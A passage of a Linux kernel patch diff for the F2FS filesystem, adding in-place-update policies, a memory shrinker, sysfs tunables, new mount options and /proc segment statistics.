drop out-of-place update policy. - * So, if fs utilization is over MIN_IPU_UTIL, then f2fs tries to write - * data in the original place likewise other traditional file systems. - * But, currently set 100 in percentage, which means it is disabled. - * See below need_inplace_update(). + * And, users can control the policy through sysfs entries. + * There are five policies with triggering conditions as follows. + * F2FS_IPU_FORCE - all the time, + * F2FS_IPU_SSR - if SSR mode is activated, + * F2FS_IPU_UTIL - if FS utilization is over threashold, + * F2FS_IPU_SSR_UTIL - if SSR mode is activated and FS utilization is over + * threashold, + * F2FS_IPU_FSYNC - activated in fsync path only for high performance flash + * storages. IPU will be triggered only if the # of dirty + * pages over min_fsync_blocks. + * F2FS_IPUT_DISABLE - disable IPU. (=default option) */ -#define MIN_IPU_UTIL 100 +#define DEF_MIN_IPU_UTIL 70 +#define DEF_MIN_FSYNC_BLOCKS 8 + +enum { + F2FS_IPU_FORCE, + F2FS_IPU_SSR, + F2FS_IPU_UTIL, + F2FS_IPU_SSR_UTIL, + F2FS_IPU_FSYNC, +}; + static inline bool need_inplace_update(struct inode *inode) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - if (S_ISDIR(inode->i_mode)) + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + unsigned int policy = SM_I(sbi)->ipu_policy; + + /* IPU can be done only for the user data */ + if (S_ISDIR(inode->i_mode) || f2fs_is_atomic_file(inode)) return false; - if (need_SSR(sbi) && utilization(sbi) > MIN_IPU_UTIL) + + if (policy & (0x1 << F2FS_IPU_FORCE)) return true; + if (policy & (0x1 << F2FS_IPU_SSR) && need_SSR(sbi)) + return true; + if (policy & (0x1 << F2FS_IPU_UTIL) && + utilization(sbi) > SM_I(sbi)->min_ipu_util) + return true; + if (policy & (0x1 << F2FS_IPU_SSR_UTIL) && need_SSR(sbi) && + utilization(sbi) > SM_I(sbi)->min_ipu_util) + return true; + + /* this is only set during fdatasync */ + if (policy & (0x1 << F2FS_IPU_FSYNC) && + is_inode_flag_set(F2FS_I(inode), FI_NEED_IPU)) + return true; + return false; } @@ -513,53 +567,52 @@ static inline unsigned short curseg_blkoff(struct f2fs_sb_info *sbi, int type) static inline void check_seg_range(struct f2fs_sb_info *sbi, unsigned int segno) { - unsigned int end_segno = SM_I(sbi)->segment_count - 1; - BUG_ON(segno > end_segno); + f2fs_bug_on(sbi, segno > TOTAL_SEGS(sbi) - 1); } -/* - * This function is used for only debugging. - * NOTE: In future, we have to remove this function. - */ static inline void verify_block_addr(struct f2fs_sb_info *sbi, block_t blk_addr) { - struct f2fs_sm_info *sm_info = SM_I(sbi); - block_t total_blks = sm_info->segment_count << sbi->log_blocks_per_seg; - block_t start_addr = sm_info->seg0_blkaddr; - block_t end_addr = start_addr + total_blks - 1; - BUG_ON(blk_addr < start_addr); - BUG_ON(blk_addr > end_addr); + f2fs_bug_on(sbi, blk_addr < SEG0_BLKADDR(sbi) + || blk_addr >= MAX_BLKADDR(sbi)); } /* - * Summary block is always treated as invalid block + * Summary block is always treated as an invalid block */ static inline void check_block_count(struct f2fs_sb_info *sbi, int segno, struct f2fs_sit_entry *raw_sit) { - struct f2fs_sm_info *sm_info = SM_I(sbi); - unsigned int end_segno = sm_info->segment_count - 1; +#ifdef CONFIG_F2FS_CHECK_FS + bool is_valid = test_bit_le(0, raw_sit->valid_map) ? true : false; int valid_blocks = 0; - int i; - - /* check segment usage */ - BUG_ON(GET_SIT_VBLOCKS(raw_sit) > sbi->blocks_per_seg); - - /* check boundary of a given segment number */ - BUG_ON(segno > end_segno); + int cur_pos = 0, next_pos; /* check bitmap with valid block count */ - for (i = 0; i < sbi->blocks_per_seg; i++) - if (f2fs_test_bit(i, raw_sit->valid_map)) - valid_blocks++; + do { + if (is_valid) { + next_pos = find_next_zero_bit_le(&raw_sit->valid_map, + sbi->blocks_per_seg, + cur_pos); + valid_blocks += next_pos - cur_pos; + } else + next_pos = find_next_bit_le(&raw_sit->valid_map, + sbi->blocks_per_seg, + cur_pos); + cur_pos = next_pos; + is_valid = !is_valid; + } while (cur_pos < sbi->blocks_per_seg); BUG_ON(GET_SIT_VBLOCKS(raw_sit) != valid_blocks); +#endif + /* check segment usage, and check boundary of a given segment number */ + f2fs_bug_on(sbi, GET_SIT_VBLOCKS(raw_sit) > sbi->blocks_per_seg + || segno > TOTAL_SEGS(sbi) - 1); } static inline pgoff_t current_sit_addr(struct f2fs_sb_info *sbi, unsigned int start) { struct sit_info *sit_i = SIT_I(sbi); - unsigned int offset = SIT_BLOCK_OFFSET(sit_i, start); + unsigned int offset = SIT_BLOCK_OFFSET(start); block_t blk_addr = sit_i->sit_base_addr + offset; check_seg_range(sbi, start); @@ -586,12 +639,9 @@ static inline pgoff_t next_sit_addr(struct f2fs_sb_info *sbi, static inline void set_to_next_sit(struct sit_info *sit_i, unsigned int start) { - unsigned int block_off = SIT_BLOCK_OFFSET(sit_i, start); + unsigned int block_off = SIT_BLOCK_OFFSET(start); - if (f2fs_test_bit(block_off, sit_i->sit_bitmap)) - f2fs_clear_bit(block_off, sit_i->sit_bitmap); - else - f2fs_set_bit(block_off, sit_i->sit_bitmap); + f2fs_change_bit(block_off, sit_i->sit_bitmap); } static inline unsigned long long get_mtime(struct f2fs_sb_info *sbi) @@ -633,5 +683,51 @@ static inline unsigned int max_hw_blocks(struct f2fs_sb_info *sbi) { struct block_device *bdev = sbi->sb->s_bdev; struct request_queue *q = bdev_get_queue(bdev); - return SECTOR_TO_BLOCK(sbi, queue_max_sectors(q)); + return SECTOR_TO_BLOCK(queue_max_sectors(q)); +} + +/* + * It is very important to gather dirty pages and write at once, so that we can + * submit a big bio without interfering other data writes. + * By default, 512 pages for directory data, + * 512 pages (2MB) * 3 for three types of nodes, and + * max_bio_blocks for meta are set. + */ +static inline int nr_pages_to_skip(struct f2fs_sb_info *sbi, int type) +{ + if (sbi->sb->s_bdi->dirty_exceeded) + return 0; + + if (type == DATA) + return sbi->blocks_per_seg; + else if (type == NODE) + return 3 * sbi->blocks_per_seg; + else if (type == META) + return MAX_BIO_BLOCKS(sbi); + else + return 0; +} + +/* + * When writing pages, it'd better align nr_to_write for segment size. + */ +static inline long nr_pages_to_write(struct f2fs_sb_info *sbi, int type, + struct writeback_control *wbc) +{ + long nr_to_write, desired; + + if (wbc->sync_mode != WB_SYNC_NONE) + return 0; + + nr_to_write = wbc->nr_to_write; + + if (type == DATA) + desired = 4096; + else if (type == NODE) + desired = 3 * max_hw_blocks(sbi); + else + desired = MAX_BIO_BLOCKS(sbi); + + wbc->nr_to_write = desired; + return desired - nr_to_write; } diff --git a/fs/f2fs/shrinker.c b/fs/f2fs/shrinker.c new file mode 100644 index 0000000000000..420b233d3de0b --- /dev/null +++ b/fs/f2fs/shrinker.c @@ -0,0 +1,139 @@ +/* + * f2fs shrinker support + * the basic infra was copied from fs/ubifs/shrinker.c + * + * Copyright (c) 2015 Motorola Mobility + * Copyright (c) 2015 Jaegeuk Kim + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#include +#include + +#include "f2fs.h" + +static LIST_HEAD(f2fs_list); +static DEFINE_SPINLOCK(f2fs_list_lock); +static unsigned int shrinker_run_no; + +static unsigned long __count_nat_entries(struct f2fs_sb_info *sbi) +{ + return NM_I(sbi)->nat_cnt - NM_I(sbi)->dirty_nat_cnt; +} + +static unsigned long __count_free_nids(struct f2fs_sb_info *sbi) +{ + if (NM_I(sbi)->fcnt > NAT_ENTRY_PER_BLOCK) + return NM_I(sbi)->fcnt - NAT_ENTRY_PER_BLOCK; + return 0; +} + +static unsigned long __count_extent_cache(struct f2fs_sb_info *sbi) +{ + return sbi->total_ext_tree + atomic_read(&sbi->total_ext_node); +} + +int f2fs_shrink_count(struct shrinker *shrink, + struct shrink_control *sc) +{ + struct f2fs_sb_info *sbi; + struct list_head *p; + unsigned long count = 0; + + spin_lock(&f2fs_list_lock); + p = f2fs_list.next; + while (p != &f2fs_list) { + sbi = list_entry(p, struct f2fs_sb_info, s_list); + + /* stop f2fs_put_super */ + if (!mutex_trylock(&sbi->umount_mutex)) { + p = p->next; + continue; + } + spin_unlock(&f2fs_list_lock); + + /* count extent cache entries */ + count += __count_extent_cache(sbi); + + /* shrink clean nat cache entries */ + count += __count_nat_entries(sbi); + + /* count free nids cache entries */ + count += __count_free_nids(sbi); + + spin_lock(&f2fs_list_lock); + p = p->next; + mutex_unlock(&sbi->umount_mutex); + } + spin_unlock(&f2fs_list_lock); + return count; +} + +int f2fs_shrink_scan(struct shrinker *shrink, + struct shrink_control *sc) +{ + unsigned long nr = sc->nr_to_scan; + struct f2fs_sb_info *sbi; + struct list_head *p; + unsigned int run_no; + unsigned long freed = 0; + + spin_lock(&f2fs_list_lock); + do { + run_no = ++shrinker_run_no; + } while (run_no == 0); + p = f2fs_list.next; + while (p != &f2fs_list) { + sbi = list_entry(p, struct f2fs_sb_info, s_list); + + if (sbi->shrinker_run_no == run_no) + break; + + /* stop f2fs_put_super */ + if (!mutex_trylock(&sbi->umount_mutex)) { + p = p->next; + continue; + } + spin_unlock(&f2fs_list_lock); + + sbi->shrinker_run_no = run_no; + + /* shrink extent cache entries */ + freed += f2fs_shrink_extent_tree(sbi, nr >> 1); + + /* shrink clean nat cache entries */ + if (freed < nr) + freed += try_to_free_nats(sbi, nr - freed); + + /* shrink free nids cache entries */ + if (freed < nr) + freed += try_to_free_nids(sbi, nr - freed); + + spin_lock(&f2fs_list_lock); + p = p->next; + list_move_tail(&sbi->s_list, &f2fs_list); + mutex_unlock(&sbi->umount_mutex); + if (freed >= nr) + break; + } + spin_unlock(&f2fs_list_lock); + return f2fs_shrink_count(NULL, NULL); +} + +void f2fs_join_shrinker(struct f2fs_sb_info *sbi) +{ + spin_lock(&f2fs_list_lock); + list_add_tail(&sbi->s_list, &f2fs_list); + spin_unlock(&f2fs_list_lock); +} + +void f2fs_leave_shrinker(struct f2fs_sb_info *sbi) +{ + f2fs_shrink_extent_tree(sbi, __count_extent_cache(sbi)); + + spin_lock(&f2fs_list_lock); + list_del(&sbi->s_list); + spin_unlock(&f2fs_list_lock); +} diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c index 8555f7df82c79..b45fd139b5aa8 100644 --- a/fs/f2fs/super.c +++ b/fs/f2fs/super.c @@ -18,45 +18,236 @@ #include #include #include +#include #include #include #include #include +#include #include "f2fs.h" #include "node.h" #include "segment.h" #include "xattr.h" +#include "gc.h" +#include "trace.h" #define CREATE_TRACE_POINTS #include +static struct proc_dir_entry *f2fs_proc_root; static struct kmem_cache *f2fs_inode_cachep; +static struct kset *f2fs_kset; + +/* f2fs-wide shrinker description */ +static struct shrinker f2fs_shrinker_info = { + .shrink = f2fs_shrink_scan, + .seeks = DEFAULT_SEEKS, +}; enum { - Opt_gc_background_off, + Opt_gc_background, Opt_disable_roll_forward, + Opt_norecovery, Opt_discard, Opt_noheap, + Opt_user_xattr, Opt_nouser_xattr, + Opt_acl, Opt_noacl, Opt_active_logs, Opt_disable_ext_identify, + Opt_inline_xattr, + Opt_inline_data, + Opt_inline_dentry, + Opt_flush_merge, + Opt_nobarrier, + Opt_fastboot, + Opt_extent_cache, + Opt_noextent_cache, + Opt_noinline_data, Opt_err, }; static match_table_t f2fs_tokens = { - {Opt_gc_background_off, "background_gc_off"}, + {Opt_gc_background, "background_gc=%s"}, {Opt_disable_roll_forward, "disable_roll_forward"}, + {Opt_norecovery, "norecovery"}, {Opt_discard, "discard"}, {Opt_noheap, "no_heap"}, + {Opt_user_xattr, "user_xattr"}, {Opt_nouser_xattr, "nouser_xattr"}, + {Opt_acl, "acl"}, {Opt_noacl, "noacl"}, {Opt_active_logs, "active_logs=%u"}, {Opt_disable_ext_identify, "disable_ext_identify"}, + {Opt_inline_xattr, "inline_xattr"}, + {Opt_inline_data, "inline_data"}, + {Opt_inline_dentry, "inline_dentry"}, + {Opt_flush_merge, "flush_merge"}, + {Opt_nobarrier, "nobarrier"}, + {Opt_fastboot, "fastboot"}, + {Opt_extent_cache, "extent_cache"}, + {Opt_noextent_cache, "noextent_cache"}, + {Opt_noinline_data, "noinline_data"}, {Opt_err, NULL}, }; +/* Sysfs support for f2fs */ +enum { + GC_THREAD, /* struct f2fs_gc_thread */ + SM_INFO, /* struct f2fs_sm_info */ + NM_INFO, /* struct f2fs_nm_info */ + F2FS_SBI, /* struct f2fs_sb_info */ +}; + +struct f2fs_attr { + struct attribute attr; + ssize_t (*show)(struct f2fs_attr *, struct f2fs_sb_info *, char *); + ssize_t (*store)(struct f2fs_attr *, struct f2fs_sb_info *, + const char *, size_t); + int struct_type; + int offset; +}; + +static unsigned char *__struct_ptr(struct f2fs_sb_info *sbi, int struct_type) +{ + if (struct_type == GC_THREAD) + return (unsigned char *)sbi->gc_thread; + else if (struct_type == SM_INFO) + return (unsigned char *)SM_I(sbi); + else if (struct_type == NM_INFO) + return (unsigned char *)NM_I(sbi); + else if (struct_type == F2FS_SBI) + return (unsigned char *)sbi; + return NULL; +} + +static ssize_t f2fs_sbi_show(struct f2fs_attr *a, + struct f2fs_sb_info *sbi, char *buf) +{ + unsigned char *ptr = NULL; + unsigned int *ui; + + ptr = __struct_ptr(sbi, a->struct_type); + if (!ptr) + return -EINVAL; + + ui = (unsigned int *)(ptr + a->offset); + + return snprintf(buf, PAGE_SIZE, "%u\n", *ui); +} + +static ssize_t f2fs_sbi_store(struct f2fs_attr *a, + struct f2fs_sb_info *sbi, + const char *buf, size_t count) +{ + unsigned char *ptr; + unsigned long t; + unsigned int *ui; + ssize_t ret; + + ptr = __struct_ptr(sbi, a->struct_type); + if (!ptr) + return -EINVAL; + + ui = (unsigned int *)(ptr + a->offset); + + ret = kstrtoul(skip_spaces(buf), 0, &t); + if (ret < 0) + return ret; + *ui = t; + return count; +} + +static ssize_t f2fs_attr_show(struct kobject *kobj, + struct attribute *attr, char *buf) +{ + struct f2fs_sb_info *sbi = container_of(kobj, struct f2fs_sb_info, + s_kobj); + struct f2fs_attr *a = container_of(attr, struct f2fs_attr, attr); + + return a->show ? a->show(a, sbi, buf) : 0; +} + +static ssize_t f2fs_attr_store(struct kobject *kobj, struct attribute *attr, + const char *buf, size_t len) +{ + struct f2fs_sb_info *sbi = container_of(kobj, struct f2fs_sb_info, + s_kobj); + struct f2fs_attr *a = container_of(attr, struct f2fs_attr, attr); + + return a->store ? a->store(a, sbi, buf, len) : 0; +} + +static void f2fs_sb_release(struct kobject *kobj) +{ + struct f2fs_sb_info *sbi = container_of(kobj, struct f2fs_sb_info, + s_kobj); + complete(&sbi->s_kobj_unregister); +} + +#define F2FS_ATTR_OFFSET(_struct_type, _name, _mode, _show, _store, _offset) \ +static struct f2fs_attr f2fs_attr_##_name = { \ + .attr = {.name = __stringify(_name), .mode = _mode }, \ + .show = _show, \ + .store = _store, \ + .struct_type = _struct_type, \ + .offset = _offset \ +} + +#define F2FS_RW_ATTR(struct_type, struct_name, name, elname) \ + F2FS_ATTR_OFFSET(struct_type, name, 0644, \ + f2fs_sbi_show, f2fs_sbi_store, \ + offsetof(struct struct_name, elname)) + +F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_min_sleep_time, min_sleep_time); +F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_max_sleep_time, max_sleep_time); +F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_no_gc_sleep_time, no_gc_sleep_time); +F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_idle, gc_idle); +F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, reclaim_segments, rec_prefree_segments); +F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, max_small_discards, max_discards); +F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, batched_trim_sections, trim_sections); +F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, ipu_policy, ipu_policy); +F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, min_ipu_util, min_ipu_util); +F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, min_fsync_blocks, min_fsync_blocks); +F2FS_RW_ATTR(NM_INFO, f2fs_nm_info, ram_thresh, ram_thresh); +F2FS_RW_ATTR(NM_INFO, f2fs_nm_info, ra_nid_pages, ra_nid_pages); +F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, max_victim_search, max_victim_search); +F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, dir_level, dir_level); +F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, cp_interval, cp_interval); + +#define ATTR_LIST(name) (&f2fs_attr_##name.attr) +static struct attribute *f2fs_attrs[] = { + ATTR_LIST(gc_min_sleep_time), + ATTR_LIST(gc_max_sleep_time), + ATTR_LIST(gc_no_gc_sleep_time), + ATTR_LIST(gc_idle), + ATTR_LIST(reclaim_segments), + ATTR_LIST(max_small_discards), + ATTR_LIST(batched_trim_sections), + ATTR_LIST(ipu_policy), + ATTR_LIST(min_ipu_util), + ATTR_LIST(min_fsync_blocks), + ATTR_LIST(max_victim_search), + ATTR_LIST(dir_level), + ATTR_LIST(ram_thresh), + ATTR_LIST(ra_nid_pages), + ATTR_LIST(cp_interval), + NULL, +}; + +static const struct sysfs_ops f2fs_attr_ops = { + .show = f2fs_attr_show, + .store = f2fs_attr_store, +}; + +static struct kobj_type f2fs_ktype = { + .default_attrs = f2fs_attrs, + .sysfs_ops = &f2fs_attr_ops, + .release = f2fs_sb_release, +}; + void f2fs_msg(struct super_block *sb, const char *level, const char *fmt, ...) { struct va_format vaf; @@ -76,11 +267,159 @@ static void init_once(void *foo) inode_init_once(&fi->vfs_inode); } +static int parse_options(struct super_block *sb, char *options) +{ + struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct request_queue *q; + substring_t args[MAX_OPT_ARGS]; + char *p, *name; + int arg = 0; + + if (!options) + return 0; + + while ((p = strsep(&options, ",")) != NULL) { + int token; + if (!*p) + continue; + /* + * Initialize args struct so we know whether arg was + * found; some options take optional arguments. + */ + args[0].to = args[0].from = NULL; + token = match_token(p, f2fs_tokens, args); + + switch (token) { + case Opt_gc_background: + name = match_strdup(&args[0]); + + if (!name) + return -ENOMEM; + if (strlen(name) == 2 && !strncmp(name, "on", 2)) { + set_opt(sbi, BG_GC); + clear_opt(sbi, FORCE_FG_GC); + } else if (strlen(name) == 3 && !strncmp(name, "off", 3)) { + clear_opt(sbi, BG_GC); + clear_opt(sbi, FORCE_FG_GC); + } else if (strlen(name) == 4 && !strncmp(name, "sync", 4)) { + set_opt(sbi, BG_GC); + set_opt(sbi, FORCE_FG_GC); + } else { + kfree(name); + return -EINVAL; + } + kfree(name); + break; + case Opt_disable_roll_forward: + set_opt(sbi, DISABLE_ROLL_FORWARD); + break; + case Opt_norecovery: + /* this option mounts f2fs with ro */ + set_opt(sbi, DISABLE_ROLL_FORWARD); + if (!f2fs_readonly(sb)) + return -EINVAL; + break; + case Opt_discard: + q = bdev_get_queue(sb->s_bdev); + if (blk_queue_discard(q)) { + set_opt(sbi, DISCARD); + } else { + f2fs_msg(sb, KERN_WARNING, + "mounting with \"discard\" option, but " + "the device does not support discard"); + } + break; + case Opt_noheap: + set_opt(sbi, NOHEAP); + break; +#ifdef CONFIG_F2FS_FS_XATTR + case Opt_user_xattr: + set_opt(sbi, XATTR_USER); + break; + case Opt_nouser_xattr: + clear_opt(sbi, XATTR_USER); + break; + case Opt_inline_xattr: + set_opt(sbi, INLINE_XATTR); + break; +#else + case Opt_user_xattr: + f2fs_msg(sb, KERN_INFO, + "user_xattr options not supported"); + break; + case Opt_nouser_xattr: + f2fs_msg(sb, KERN_INFO, + "nouser_xattr options not supported"); + break; + case Opt_inline_xattr: + f2fs_msg(sb, KERN_INFO, + "inline_xattr options not supported"); + break; +#endif +#ifdef CONFIG_F2FS_FS_POSIX_ACL + case Opt_acl: + set_opt(sbi, POSIX_ACL); + break; + case Opt_noacl: + clear_opt(sbi, POSIX_ACL); + break; +#else + case Opt_acl: + f2fs_msg(sb, KERN_INFO, "acl options not supported"); + break; + case Opt_noacl: + f2fs_msg(sb, KERN_INFO, "noacl options not supported"); + break; +#endif + case Opt_active_logs: + if (args->from && match_int(args, &arg)) + return -EINVAL; + if (arg != 2 && arg != 4 && arg != NR_CURSEG_TYPE) + return -EINVAL; + sbi->active_logs = arg; + break; + case Opt_disable_ext_identify: + set_opt(sbi, DISABLE_EXT_IDENTIFY); + break; + case Opt_inline_data: + set_opt(sbi, INLINE_DATA); + break; + case Opt_inline_dentry: + set_opt(sbi, INLINE_DENTRY); + break; + case Opt_flush_merge: + set_opt(sbi, FLUSH_MERGE); + break; + case Opt_nobarrier: + set_opt(sbi, NOBARRIER); + break; + case Opt_fastboot: + set_opt(sbi, FASTBOOT); + break; + case Opt_extent_cache: + set_opt(sbi, EXTENT_CACHE); + break; + case Opt_noextent_cache: + clear_opt(sbi, EXTENT_CACHE); + break; + case Opt_noinline_data: + clear_opt(sbi, INLINE_DATA); + break; + default: + f2fs_msg(sb, KERN_ERR, + "Unrecognized mount option \"%s\" or missing value", + p); + return -EINVAL; + } + } + return 0; +} + static struct inode *f2fs_alloc_inode(struct super_block *sb) { struct f2fs_inode_info *fi; - fi = kmem_cache_alloc(f2fs_inode_cachep, GFP_NOFS | __GFP_ZERO); + fi = kmem_cache_alloc(f2fs_inode_cachep, GFP_F2FS_ZERO); if (!fi) return NULL; @@ -88,13 +427,24 @@ static struct inode *f2fs_alloc_inode(struct super_block *sb) /* Initialize f2fs-specific inode info */ fi->vfs_inode.i_version = 1; - atomic_set(&fi->dirty_dents, 0); + atomic_set(&fi->dirty_pages, 0); fi->i_current_depth = 1; fi->i_advise = 0; - rwlock_init(&fi->ext.ext_lock); + init_rwsem(&fi->i_sem); + INIT_LIST_HEAD(&fi->inmem_pages); + mutex_init(&fi->inmem_lock); set_inode_flag(fi, FI_NEW_INODE); + if (test_opt(F2FS_SB(sb), INLINE_XATTR)) + set_inode_flag(fi, FI_INLINE_XATTR); + + /* Will be used by directory only */ + fi->i_dir_level = F2FS_SB(sb)->dir_level; + +#ifdef CONFIG_F2FS_FS_ENCRYPTION + fi->i_crypt_info = NULL; +#endif return &fi->vfs_inode; } @@ -107,11 +457,50 @@ static int f2fs_drop_inode(struct inode *inode) * - f2fs_gc -> iput -> evict * - inode_wait_for_writeback(inode) */ - if (!inode_unhashed(inode) && inode->i_state & I_SYNC) + if (!inode_unhashed(inode) && inode->i_state & I_SYNC) { + if (!inode->i_nlink && !is_bad_inode(inode)) { + /* to avoid evict_inode call simultaneously */ + atomic_inc(&inode->i_count); + spin_unlock(&inode->i_lock); + + /* some remained atomic pages should discarded */ + if (f2fs_is_atomic_file(inode)) + commit_inmem_pages(inode, true); + + /* should remain fi->extent_tree for writepage */ + f2fs_destroy_extent_node(inode); + + sb_start_intwrite(inode->i_sb); + i_size_write(inode, 0); + + if (F2FS_HAS_BLOCKS(inode)) + f2fs_truncate(inode, true); + + sb_end_intwrite(inode->i_sb); + +#ifdef CONFIG_F2FS_FS_ENCRYPTION + if (F2FS_I(inode)->i_crypt_info) + f2fs_free_encryption_info(inode, + F2FS_I(inode)->i_crypt_info); +#endif + spin_lock(&inode->i_lock); + atomic_dec(&inode->i_count); + } return 0; + } return generic_drop_inode(inode); } +/* + * f2fs_dirty_inode() is called from __mark_inode_dirty() + * + * We should call set_dirty_inode to write the dirty inode through write_inode. + */ +static void f2fs_dirty_inode(struct inode *inode, int flags) +{ + set_inode_flag(F2FS_I(inode), FI_DIRTY_INODE); +} + static void f2fs_i_callback(struct rcu_head *head) { struct inode *inode = container_of(head, struct inode, i_rcu); @@ -127,10 +516,42 @@ static void f2fs_put_super(struct super_block *sb) { struct f2fs_sb_info *sbi = F2FS_SB(sb); - f2fs_destroy_stats(sbi); + if (sbi->s_proc) { + remove_proc_entry("segment_info", sbi->s_proc); + remove_proc_entry(sb->s_id, f2fs_proc_root); + } + kobject_del(&sbi->s_kobj); + stop_gc_thread(sbi); - write_checkpoint(sbi, true); + /* prevent remaining shrinker jobs */ + mutex_lock(&sbi->umount_mutex); + + /* + * We don't need to do checkpoint when superblock is clean. + * But, the previous checkpoint was not done by umount, it needs to do + * clean checkpoint again. + */ + if (is_sbi_flag_set(sbi, SBI_IS_DIRTY) || + !is_set_ckpt_flags(F2FS_CKPT(sbi), CP_UMOUNT_FLAG)) { + struct cp_control cpc = { + .reason = CP_UMOUNT, + }; + write_checkpoint(sbi, &cpc); + } + + /* write_checkpoint can update stat informaion */ + f2fs_destroy_stats(sbi); + + /* + * normally superblock is clean, so we need to release this. + * In addition, EIO will skip do checkpoint, we need this as well. + */ + release_dirty_inode(sbi); + release_discard_addrs(sbi); + + f2fs_leave_shrinker(sbi); + mutex_unlock(&sbi->umount_mutex); iput(sbi->node_inode); iput(sbi->meta_inode); @@ -140,6 +561,8 @@ static void f2fs_put_super(struct super_block *sb) destroy_segment_manager(sbi); kfree(sbi->ckpt); + kobject_put(&sbi->s_kobj); + wait_for_completion(&sbi->s_kobj_unregister); sb->s_fs_info = NULL; brelse(sbi->raw_super_buf); @@ -152,16 +575,18 @@ int f2fs_sync_fs(struct super_block *sb, int sync) trace_f2fs_sync_fs(sb, sync); - if (!sbi->s_dirty && !get_pages(sbi, F2FS_DIRTY_NODES)) - return 0; - if (sync) { + struct cp_control cpc; + + cpc.reason = __get_cp_reason(sbi); + mutex_lock(&sbi->gc_mutex); - write_checkpoint(sbi, false); + write_checkpoint(sbi, &cpc); mutex_unlock(&sbi->gc_mutex); } else { f2fs_balance_fs(sbi); } + f2fs_trace_ios(NULL, 1); return 0; } @@ -170,7 +595,7 @@ static int f2fs_freeze(struct super_block *sb) { int err; - if (sb->s_flags & MS_RDONLY) + if (f2fs_readonly(sb)) return 0; err = f2fs_sync_fs(sb, 1); @@ -200,8 +625,8 @@ static int f2fs_statfs(struct dentry *dentry, struct kstatfs *buf) buf->f_bfree = buf->f_blocks - valid_user_blocks(sbi) - ovp_count; buf->f_bavail = user_block_count - valid_user_blocks(sbi); - buf->f_files = sbi->total_node_count; - buf->f_ffree = sbi->total_node_count - valid_inode_count(sbi); + buf->f_files = sbi->total_node_count - F2FS_RESERVED_NODE_NUM; + buf->f_ffree = buf->f_files - valid_inode_count(sbi); buf->f_namelen = F2FS_NAME_LEN; buf->f_fsid.val[0] = (u32)id; @@ -214,10 +639,14 @@ static int f2fs_show_options(struct seq_file *seq, struct dentry *root) { struct f2fs_sb_info *sbi = F2FS_SB(root->d_sb); - if (test_opt(sbi, BG_GC)) - seq_puts(seq, ",background_gc_on"); - else - seq_puts(seq, ",background_gc_off"); + if (!f2fs_readonly(sbi->sb) && test_opt(sbi, BG_GC)) { + if (test_opt(sbi, FORCE_FG_GC)) + seq_printf(seq, ",background_gc=%s", "sync"); + else + seq_printf(seq, ",background_gc=%s", "on"); + } else { + seq_printf(seq, ",background_gc=%s", "off"); + } if (test_opt(sbi, DISABLE_ROLL_FORWARD)) seq_puts(seq, ",disable_roll_forward"); if (test_opt(sbi, DISCARD)) @@ -229,6 +658,8 @@ static int f2fs_show_options(struct seq_file *seq, struct dentry *root) seq_puts(seq, ",user_xattr"); else seq_puts(seq, ",nouser_xattr"); + if (test_opt(sbi, INLINE_XATTR)) + seq_puts(seq, ",inline_xattr"); #endif #ifdef CONFIG_F2FS_FS_POSIX_ACL if (test_opt(sbi, POSIX_ACL)) @@ -238,17 +669,179 @@ static int f2fs_show_options(struct seq_file *seq, struct dentry *root) #endif if (test_opt(sbi, DISABLE_EXT_IDENTIFY)) seq_puts(seq, ",disable_ext_identify"); - + if (test_opt(sbi, INLINE_DATA)) + seq_puts(seq, ",inline_data"); + else + seq_puts(seq, ",noinline_data"); + if (test_opt(sbi, INLINE_DENTRY)) + seq_puts(seq, ",inline_dentry"); + if (!f2fs_readonly(sbi->sb) && test_opt(sbi, FLUSH_MERGE)) + seq_puts(seq, ",flush_merge"); + if (test_opt(sbi, NOBARRIER)) + seq_puts(seq, ",nobarrier"); + if (test_opt(sbi, FASTBOOT)) + seq_puts(seq, ",fastboot"); + if (test_opt(sbi, EXTENT_CACHE)) + seq_puts(seq, ",extent_cache"); + else + seq_puts(seq, ",noextent_cache"); seq_printf(seq, ",active_logs=%u", sbi->active_logs); return 0; } +static int segment_info_seq_show(struct seq_file *seq, void *offset) +{ + struct super_block *sb = seq->private; + struct f2fs_sb_info *sbi = F2FS_SB(sb); + unsigned int total_segs = + le32_to_cpu(sbi->raw_super->segment_count_main); + int i; + + seq_puts(seq, "format: segment_type|valid_blocks\n" + "segment_type(0:HD, 1:WD, 2:CD, 3:HN, 4:WN, 5:CN)\n"); + + for (i = 0; i < total_segs; i++) { + struct seg_entry *se = get_seg_entry(sbi, i); + + if ((i % 10) == 0) + seq_printf(seq, "%-10d", i); + seq_printf(seq, "%d|%-3u", se->type, + get_valid_blocks(sbi, i, 1)); + if ((i % 10) == 9 || i == (total_segs - 1)) + seq_putc(seq, '\n'); + else + seq_putc(seq, ' '); + } + + return 0; +} + +static int segment_info_open_fs(struct inode *inode, struct file *file) +{ + return single_open(file, segment_info_seq_show, PDE_DATA(inode)); +} + +static const struct file_operations f2fs_seq_segment_info_fops = { + .owner = THIS_MODULE, + .open = segment_info_open_fs, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +static void default_options(struct f2fs_sb_info *sbi) +{ + /* init some FS parameters */ + sbi->active_logs = NR_CURSEG_TYPE; + + set_opt(sbi, BG_GC); + set_opt(sbi, INLINE_DATA); + set_opt(sbi, EXTENT_CACHE); + +#ifdef CONFIG_F2FS_FS_XATTR + set_opt(sbi, XATTR_USER); +#endif +#ifdef CONFIG_F2FS_FS_POSIX_ACL + set_opt(sbi, POSIX_ACL); +#endif +} + +static int f2fs_remount(struct 